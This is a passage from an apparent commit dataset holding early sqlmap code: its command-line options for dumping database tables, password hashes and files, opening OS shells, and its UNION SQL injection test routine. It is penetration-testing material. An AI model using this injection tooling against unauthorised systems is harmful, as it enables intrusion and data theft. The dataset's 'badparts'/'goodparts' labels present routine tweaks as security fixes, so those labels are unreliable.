help=\"Enumerate DBMS databases\") enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\", help=\"Enumerate DBMS database tables(opt: -D)\") enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\", help=\"Enumerate DBMS database table columns \" \"(req:-T opt:-D)\") enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\", help=\"Dump DBMS database table entries \" \"(req: -T, opt: -D, -C, --start, --stop)\") enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\", help=\"Dump all DBMS databases tables entries\") enumeration.add_option(\"-D\", dest=\"db\", help=\"DBMS database to enumerate\") enumeration.add_option(\"-T\", dest=\"tbl\", help=\"DBMS database table to enumerate\") enumeration.add_option(\"-C\", dest=\"col\", help=\"DBMS database table column to enumerate\") enumeration.add_option(\"-U\", dest=\"user\", help=\"DBMS user to enumerate\") enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\", action=\"store_true\", help=\"Exclude DBMS system databases when \" \"enumerating tables\") enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\", help=\"First table entry to dump\") enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\", help=\"Last table entry to dump\") enumeration.add_option(\"--sql-query\", dest=\"query\", help=\"SQL SELECT query to be executed\") enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\", action=\"store_true\", help=\"Prompt for an interactive SQL shell\") filesystem=OptionGroup(parser, \"File system access\", \"These options \" \"can be used to access the back-end database \" \"management system file system taking \" \"advantage of native DBMS functions or \" \"specific DBMS design weaknesses.\") filesystem.add_option(\"--read-file\", dest=\"rFile\", help=\"Read a specific OS file content(only on MySQL)\") filesystem.add_option(\"--write-file\", dest=\"wFile\", help=\"Write to a specific OS file(not yet available)\") takeover=OptionGroup(parser, \"Operating system access\", \"This \" \"option can be used to access the back-end \" \"database management system operating \" \"system taking advantage of specific DBMS \" \"design weaknesses.\") takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\", help=\"Prompt for an interactive OS shell \" \"(only on PHP/MySQL environment with a \" \"writable directory within the web \" \"server document root for the moment)\") miscellaneous=OptionGroup(parser, \"Miscellaneous\") miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\", help=\"Retrieve each query output length and \" \"calculate the estimated time of arrival \" \"in real time\") miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\", help=\"Update sqlmap to the latest stable version\") miscellaneous.add_option(\"-s\", dest=\"sessionFile\", help=\"Save and resume all data retrieved \" \"on a session file\") miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\", help=\"Save options on a configuration INI file\") miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\", help=\"Never ask for user input, use the default behaviour\") parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(miscellaneous) (args, _)=parser.parse_args() if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll: errMsg =\"missing a mandatory parameter('-u', '-l', '-g', '-c' or '--update'), \" errMsg +=\"-h for help\" parser.error(errMsg) return args except(OptionError, TypeError), e: parser.error(e) debugMsg=\"parsing command line\" logger.debug(debugMsg) ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport sys\n\nfrom optparse import OptionError\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom lib.core.data import logger\nfrom lib.core.settings import VERSION_STRING\n\n\ndef cmdLineParser():\n \"\"\"\n This function parses the command line parameters and arguments\n \"\"\"\n\n usage = \"%s [options]\" % sys.argv[0]\n parser = OptionParser(usage=usage, version=VERSION_STRING)\n\n try:\n parser.add_option(\"-v\", dest=\"verbose\", type=\"int\",\n help=\"Verbosity level: 0-5 (default 1)\")\n\n # Target options\n target = OptionGroup(parser, \"Target\", \"At least one of these \"\n \"options has to be specified to set the source \"\n \"to get target urls from.\")\n\n target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\")\n\n target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \"\n \"or WebScarab logs\")\n\n target.add_option(\"-g\", dest=\"googleDork\",\n help=\"Process Google dork results as target urls\")\n\n target.add_option(\"-c\", dest=\"configFile\",\n help=\"Load options from a configuration INI file\")\n\n\n # Request options\n request = OptionGroup(parser, \"Request\", \"These options can be used \"\n \"to specify how to connect to the target url.\")\n\n request.add_option(\"--method\", dest=\"method\", default=\"GET\",\n help=\"HTTP method, GET or POST (default: GET)\")\n\n request.add_option(\"--data\", dest=\"data\",\n help=\"Data string to be sent through POST\")\n\n request.add_option(\"--cookie\", dest=\"cookie\",\n help=\"HTTP Cookie header\")\n\n request.add_option(\"--referer\", dest=\"referer\",\n help=\"HTTP Referer header\")\n\n request.add_option(\"--user-agent\", dest=\"agent\",\n help=\"HTTP User-Agent header\")\n\n request.add_option(\"-a\", dest=\"userAgentsFile\",\n help=\"Load a random HTTP User-Agent \"\n \"header from file\")\n\n request.add_option(\"--headers\", dest=\"headers\",\n help=\"Extra HTTP headers '\\\\n' separated\")\n\n request.add_option(\"--auth-type\", dest=\"aType\",\n help=\"HTTP Authentication type, value: \"\n \"Basic or Digest\")\n\n request.add_option(\"--auth-cred\", dest=\"aCred\",\n help=\"HTTP Authentication credentials, value: \"\n \"name:password\")\n\n request.add_option(\"--proxy\", dest=\"proxy\",\n help=\"Use a HTTP proxy to connect to the target url\")\n\n request.add_option(\"--threads\", dest=\"threads\", type=\"int\",\n help=\"Maximum number of concurrent HTTP \"\n \"requests (default 1)\")\n\n request.add_option(\"--delay\", dest=\"delay\", type=\"float\",\n help=\"Delay in seconds between each HTTP request\")\n\n request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\",\n help=\"Seconds to wait before timeout connection \"\n \"(default 30)\")\n\n\n # Injection options\n injection = OptionGroup(parser, \"Injection\", \"These options can be \"\n \"used to specify which parameters to test \"\n \"for, provide custom injection payloads and \"\n \"how to parse and compare HTTP responses \"\n \"page content when using the blind SQL \"\n \"injection technique.\")\n\n injection.add_option(\"-p\", dest=\"testParameter\",\n help=\"Testable parameter(s)\")\n\n injection.add_option(\"--dbms\", dest=\"dbms\",\n help=\"Force back-end DBMS to this value\")\n\n injection.add_option(\"--prefix\", dest=\"prefix\",\n help=\"Injection payload prefix string\")\n\n injection.add_option(\"--postfix\", dest=\"postfix\",\n help=\"Injection payload postfix string\")\n\n injection.add_option(\"--string\", dest=\"string\",\n help=\"String to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--regexp\", dest=\"regexp\",\n help=\"Regexp to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--excl-str\", dest=\"eString\",\n help=\"String to be excluded before calculating \"\n \"page hash\")\n\n injection.add_option(\"--excl-reg\", dest=\"eRegexp\",\n help=\"Regexp matches to be excluded before \"\n \"calculating page hash\")\n\n\n # Techniques options\n techniques = OptionGroup(parser, \"Techniques\", \"These options can \"\n \"be used to test for specific SQL injection \"\n \"technique or to use one of them to exploit \"\n \"the affected parameter(s) rather than using \"\n \"the default blind SQL injection technique.\")\n\n techniques.add_option(\"--stacked-test\", dest=\"stackedTest\",\n action=\"store_true\",\n help=\"Test for stacked queries (multiple \"\n \"statements) support\")\n\n techniques.add_option(\"--time-test\", dest=\"timeTest\",\n action=\"store_true\",\n help=\"Test for Time based blind SQL injection\")\n\n techniques.add_option(\"--union-test\", dest=\"unionTest\",\n action=\"store_true\",\n help=\"Test for UNION query (inband) SQL injection\")\n\n techniques.add_option(\"--union-use\", dest=\"unionUse\",\n action=\"store_true\",\n help=\"Use the UNION query (inband) SQL injection \"\n \"to retrieve the queries output. No \"\n \"need to go blind\")\n\n\n # Fingerprint options\n fingerprint = OptionGroup(parser, \"Fingerprint\")\n\n fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\",\n action=\"store_true\",\n help=\"Perform an extensive DBMS version fingerprint\")\n\n\n # Enumeration options\n enumeration = OptionGroup(parser, \"Enumeration\", \"These options can \"\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n \"you can run your own SQL SELECT queries.\")\n\n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n\n enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\",\n action=\"store_true\",\n help=\"Retrieve DBMS current user\")\n\n enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\",\n action=\"store_true\",\n help=\"Retrieve DBMS current database\")\n\n enumeration.add_option(\"--is-dba\", dest=\"isDba\",\n action=\"store_true\",\n help=\"Detect if the DBMS current user is DBA\")\n\n enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\",\n help=\"Enumerate DBMS users\")\n\n enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\",\n action=\"store_true\",\n help=\"Enumerate DBMS users password hashes (opt: -U)\")\n\n enumeration.add_option(\"--privileges\", dest=\"getPrivileges\",\n action=\"store_true\",\n help=\"Enumerate DBMS users privileges (opt: -U)\")\n\n enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\",\n help=\"Enumerate DBMS databases\")\n\n enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\",\n help=\"Enumerate DBMS database tables (opt: -D)\")\n\n enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\",\n help=\"Enumerate DBMS database table columns \"\n \"(req:-T opt:-D)\")\n\n enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\",\n help=\"Dump DBMS database table entries \"\n \"(req: -T, opt: -D, -C, --start, --stop)\")\n\n enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\",\n help=\"Dump all DBMS databases tables entries\")\n\n enumeration.add_option(\"-D\", dest=\"db\",\n help=\"DBMS database to enumerate\")\n\n enumeration.add_option(\"-T\", dest=\"tbl\",\n help=\"DBMS database table to enumerate\")\n\n enumeration.add_option(\"-C\", dest=\"col\",\n help=\"DBMS database table column to enumerate\")\n\n enumeration.add_option(\"-U\", dest=\"user\",\n help=\"DBMS user to enumerate\")\n\n enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\",\n action=\"store_true\",\n help=\"Exclude DBMS system databases when \"\n \"enumerating tables\")\n\n enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\",\n help=\"First table entry to dump\")\n\n enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\",\n help=\"Last table entry to dump\")\n\n enumeration.add_option(\"--sql-query\", dest=\"query\",\n help=\"SQL SELECT query to be executed\")\n\n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\n help=\"Prompt for an interactive SQL shell\")\n\n\n # File system options\n filesystem = OptionGroup(parser, \"File system access\", \"These options \"\n \"can be used to access the back-end database \"\n \"management system file system taking \"\n \"advantage of native DBMS functions or \"\n \"specific DBMS design weaknesses.\")\n\n filesystem.add_option(\"--read-file\", dest=\"rFile\",\n help=\"Read a specific OS file content (only on MySQL)\")\n\n filesystem.add_option(\"--write-file\", dest=\"wFile\",\n help=\"Write to a specific OS file (not yet available)\")\n\n\n # Takeover options\n takeover = OptionGroup(parser, \"Operating system access\", \"This \"\n \"option can be used to access the back-end \"\n \"database management system operating \"\n \"system taking advantage of specific DBMS \"\n \"design weaknesses.\")\n\n takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\",\n help=\"Prompt for an interactive OS shell \"\n \"(only on PHP/MySQL environment with a \"\n \"writable directory within the web \"\n \"server document root for the moment)\")\n\n\n # Miscellaneous options\n miscellaneous = OptionGroup(parser, \"Miscellaneous\")\n\n miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\",\n help=\"Retrieve each query output length and \"\n \"calculate the estimated time of arrival \"\n \"in real time\")\n\n miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\",\n help=\"Update sqlmap to the latest stable version\")\n\n miscellaneous.add_option(\"-s\", dest=\"sessionFile\",\n help=\"Save and resume all data retrieved \"\n \"on a session file\")\n\n miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\",\n help=\"Save options on a configuration INI file\")\n\n miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\",\n help=\"Never ask for user input, use the default behaviour\")\n\n\n parser.add_option_group(target)\n parser.add_option_group(request)\n parser.add_option_group(injection)\n parser.add_option_group(techniques)\n parser.add_option_group(fingerprint)\n parser.add_option_group(enumeration)\n parser.add_option_group(filesystem)\n parser.add_option_group(takeover)\n parser.add_option_group(miscellaneous)\n\n (args, _) = parser.parse_args()\n\n if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:\n errMsg = \"missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), \"\n errMsg += \"-h for help\"\n parser.error(errMsg)\n\n return args\n except (OptionError, TypeError), e:\n parser.error(e)\n\n debugMsg = \"parsing command line\"\n logger.debug(debugMsg)\n"}, "/lib/request/comparison.py": {"changes": [{"diff": "\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n el", "add": 2, "remove": 2, "filename": "/lib/request/comparison.py", "badparts": [" return round(conf.seqMatcher.ratio(), 5)", " elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:"], "goodparts": [" return round(conf.seqMatcher.ratio(), 3)", " elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re from lib.core.data import conf from lib.core.settings import MATCH_RATIO def comparison(page, headers=None, getSeqMatcher=False): regExpResults=None if conf.eString and conf.eString in page: index =page.index(conf.eString) length =len(conf.eString) pageWithoutString =page[:index] pageWithoutString +=page[index+length:] page =pageWithoutString if conf.eRegexp: regExpResults=re.findall(conf.eRegexp, page, re.I | re.M) if regExpResults: for regExpResult in regExpResults: index =page.index(regExpResult) length =len(regExpResult) pageWithoutRegExp =page[:index] pageWithoutRegExp +=page[index+length:] page =pageWithoutRegExp if conf.string: if conf.string in page: return True else: return False if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False conf.seqMatcher.set_seq2(page) if getSeqMatcher: return round(conf.seqMatcher.ratio(), 5) elif round(conf.seqMatcher.ratio(), 5) >=MATCH_RATIO: return True else: return False ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\n\nfrom lib.core.data import conf\nfrom lib.core.settings import MATCH_RATIO\n\n\ndef comparison(page, headers=None, getSeqMatcher=False):\n regExpResults = None\n\n # String to be excluded before calculating page hash\n if conf.eString and conf.eString in page:\n index = page.index(conf.eString)\n length = len(conf.eString)\n pageWithoutString = page[:index]\n pageWithoutString += page[index+length:]\n page = pageWithoutString\n\n # Regular expression matches to be excluded before calculating page hash\n if conf.eRegexp:\n regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n\n if regExpResults:\n for regExpResult in regExpResults:\n index = page.index(regExpResult)\n length = len(regExpResult)\n pageWithoutRegExp = page[:index]\n pageWithoutRegExp += page[index+length:]\n page = pageWithoutRegExp\n\n # String to match in page when the query is valid\n if conf.string:\n if conf.string in page:\n return True\n else:\n return False\n\n # Regular expression to match in page when the query is valid\n if conf.regexp:\n if re.search(conf.regexp, page, re.I | re.M):\n return True\n else:\n return False\n\n # By default it returns sequence matcher between the first untouched\n # HTTP response page content and this content\n conf.seqMatcher.set_seq2(page)\n\n if getSeqMatcher:\n return round(conf.seqMatcher.ratio(), 5)\n\n elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n return True\n\n else:\n return False\n"}, "/lib/techniques/inband/union/test.py": {"changes": [{"diff": "\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "add": 8, "remove": 8, "filename": "/lib/techniques/inband/union/test.py", "badparts": [" newResult = Request.queryPage(payload)", " if count:", " for element in resultDict.values():", " if element[0] == 1:", " value = \"%s?%s\" % (conf.url, payload)", " value += \"\\nPOST:\\t'%s'\\n\" % payload", " value += \"\\nCookie:\\t'%s'\\n\" % payload", " value += \"\\nUser-Agent:\\t'%s'\\n\" % payload"], "goodparts": [" newResult = Request.queryPage(payload, getSeqMatcher=True)", " if count > 3:", " for ratio, element in resultDict.items():", " if element[0] == 1 and ratio > 0.5:", " value = \"%s?%s\" % (conf.url, element[1])", " value += \"\\nPOST:\\t'%s'\\n\" % element[1]", " value += \"\\nCookie:\\t'%s'\\n\" % element[1]", " value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" from lib.core.agent import agent from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.request.connect import Connect as Request def __effectiveUnionTest(query, comment): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table \"\"\" resultDict={} for count in range(0, 50): if kb.dbms==\"Oracle\" and query.endswith(\" FROM DUAL\"): query=query[:-len(\" FROM DUAL\")] if count: query +=\", NULL\" if kb.dbms==\"Oracle\": query +=\" FROM DUAL\" commentedQuery=agent.postfixQuery(query, comment) payload=agent.payload(newValue=commentedQuery) newResult=Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult]=(1, commentedQuery) else: resultDict[newResult]=(resultDict[newResult][0] +1, commentedQuery) if count: for element in resultDict.values(): if element[0]==1: if kb.injPlace==\"GET\": value=\"%s?%s\" %(conf.url, payload) elif kb.injPlace==\"POST\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nPOST:\\t'%s'\\n\" % payload elif kb.injPlace==\"Cookie\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nCookie:\\t'%s'\\n\" % payload elif kb.injPlace==\"User-Agent\": value =\"URL:\\t\\t'%s'\" % conf.url value +=\"\\nUser-Agent:\\t'%s'\\n\" % payload return value return None def unionTest(): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times \"\"\" logMsg =\"testing inband sql injection on parameter \" logMsg +=\"'%s'\" % kb.injParameter logger.info(logMsg) value=\"\" query=agent.prefixQuery(\" UNION ALL SELECT NULL\") for comment in(queries[kb.dbms].comment, \"\"): value=__effectiveUnionTest(query, comment) if value: setUnion(comment, value.count(\"NULL\")) break if kb.unionCount: logMsg =\"the target url could be affected by an \" logMsg +=\"inband sql injection vulnerability\" logger.info(logMsg) else: warnMsg =\"the target url is not affected by an \" warnMsg +=\"inband sql injection vulnerability\" logger.warn(warnMsg) return value ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nfrom lib.core.agent import agent\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.data import queries\nfrom lib.core.session import setUnion\nfrom lib.request.connect import Connect as Request\n\n\ndef __effectiveUnionTest(query, comment):\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 50 columns\n on the target database table\n \"\"\"\n\n resultDict = {}\n\n for count in range(0, 50):\n if kb.dbms == \"Oracle\" and query.endswith(\" FROM DUAL\"):\n query = query[:-len(\" FROM DUAL\")]\n\n if count:\n query += \", NULL\"\n\n if kb.dbms == \"Oracle\":\n query += \" FROM DUAL\"\n\n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n newResult = Request.queryPage(payload)\n\n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n\n if count:\n for element in resultDict.values():\n if element[0] == 1:\n if kb.injPlace == \"GET\":\n value = \"%s?%s\" % (conf.url, payload)\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nPOST:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nCookie:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n\n return value\n\n return None\n\n\ndef unionTest():\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 3*50 times\n \"\"\"\n\n logMsg = \"testing inband sql injection on parameter \"\n logMsg += \"'%s'\" % kb.injParameter\n logger.info(logMsg)\n\n value = \"\"\n\n query = agent.prefixQuery(\" UNION ALL SELECT NULL\")\n\n for comment in (queries[kb.dbms].comment, \"\"):\n value = __effectiveUnionTest(query, comment)\n\n if value:\n setUnion(comment, value.count(\"NULL\"))\n\n break\n\n if kb.unionCount:\n logMsg = \"the target url could be affected by an \"\n logMsg += \"inband sql injection vulnerability\"\n logger.info(logMsg)\n else:\n warnMsg = \"the target url is not affected by an \"\n warnMsg += \"inband sql injection vulnerability\"\n logger.warn(warnMsg)\n\n return value\n"}}, "msg": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py."}}, "https://github.com/pissoffcunt/hi": {"35708a0b975f89357e75f8f74999900da9fe9894": {"url": "https://api.github.com/repos/pissoffcunt/hi/commits/35708a0b975f89357e75f8f74999900da9fe9894", "html_url": "https://github.com/pissoffcunt/hi/commit/35708a0b975f89357e75f8f74999900da9fe9894", "message": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py.", "sha": "35708a0b975f89357e75f8f74999900da9fe9894", "keyword": "command injection update", "diff": "diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py\nindex 9cc7a48d..8a1ddc64 100644\n--- a/lib/contrib/multipartpost.py\n+++ b/lib/contrib/multipartpost.py\n@@ -5,6 +5,8 @@\n \n 02/2006 Will Holcomb \n \n+Reference: http://odin.himinbi.org/MultipartPostHandler.py\n+\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n@@ -14,6 +16,10 @@\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n+\n+You should have received a copy of the GNU Lesser General Public\n+License along with this library; if not, write to the Free Software\n+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \"\"\"\n \n \ndiff --git a/lib/controller/checks.py b/lib/controller/checks.py\nindex 3050728c..2202dab0 100644\n--- a/lib/controller/checks.py\n+++ b/lib/controller/checks.py\n@@ -295,15 +295,12 @@ def checkStability():\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\ndiff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py\nindex f3349f13..c89180de 100644\n--- a/lib/parse/cmdline.py\n+++ b/lib/parse/cmdline.py\n@@ -189,7 +189,7 @@ def cmdLineParser():\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n@@ -258,7 +258,7 @@ def cmdLineParser():\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\ndiff --git a/lib/request/comparison.py b/lib/request/comparison.py\nindex a42542bf..3c520818 100644\n--- a/lib/request/comparison.py\n+++ b/lib/request/comparison.py\n@@ -72,9 +72,9 @@ def comparison(page, headers=None, getSeqMatcher=False):\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n else:\ndiff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py\nindex e0bd1e5d..3ef577b7 100644\n--- a/lib/techniques/inband/union/test.py\n+++ b/lib/techniques/inband/union/test.py\n@@ -54,27 +54,27 @@ def __effectiveUnionTest(query, comment):\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = 